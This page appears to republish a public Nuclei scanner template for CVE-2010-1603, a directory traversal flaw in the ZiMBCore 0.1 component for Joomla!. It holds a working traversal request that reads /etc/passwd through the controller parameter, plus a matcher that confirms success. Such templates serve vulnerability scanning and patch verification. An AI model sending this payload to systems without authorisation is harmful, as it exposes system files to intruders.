CVE-2010-1603: Joomla! Component ZiMBCore 0.1 - Local File Inclusion

2025-08-01 Joomla! Component ZiMBCore 0.1 PoC Public

Description

A directory traversal vulnerability in the ZiMB Core (aka ZiMBCore or com_zimbcore) component 0.1 in the ZiMB Manager collection for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

PoC

id: CVE-2010-1603

info:
  name: Joomla! Component ZiMBCore 0.1 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the ZiMB Core (aka ZiMBCore or com_zimbcore) component 0.1 in the ZiMB Manager collection for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12284
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1603
    - http://www.vupen.com/english/advisories/2010/0931
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1603
    cwe-id: CWE-22
    epss-score: 0.07402
    epss-percentile: 0.94116
    cpe: cpe:2.3:a:zimbllc:com_zimbcore:0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zimbllc
    product: com_zimbcore
  tags: cve,cve2010,joomla,lfi,edb,zimbllc,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_zimbcore&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bec8f5bc0ae5f3bc7b0f525819ac12af47e7bceda88ad7b3bc359e0335c17ec6022100b33e5d79d1be6126f1b64b812b4d22ec0953c54760432e43b1de1103b214ee43:922c64590222798bb761d5b6d8e72950

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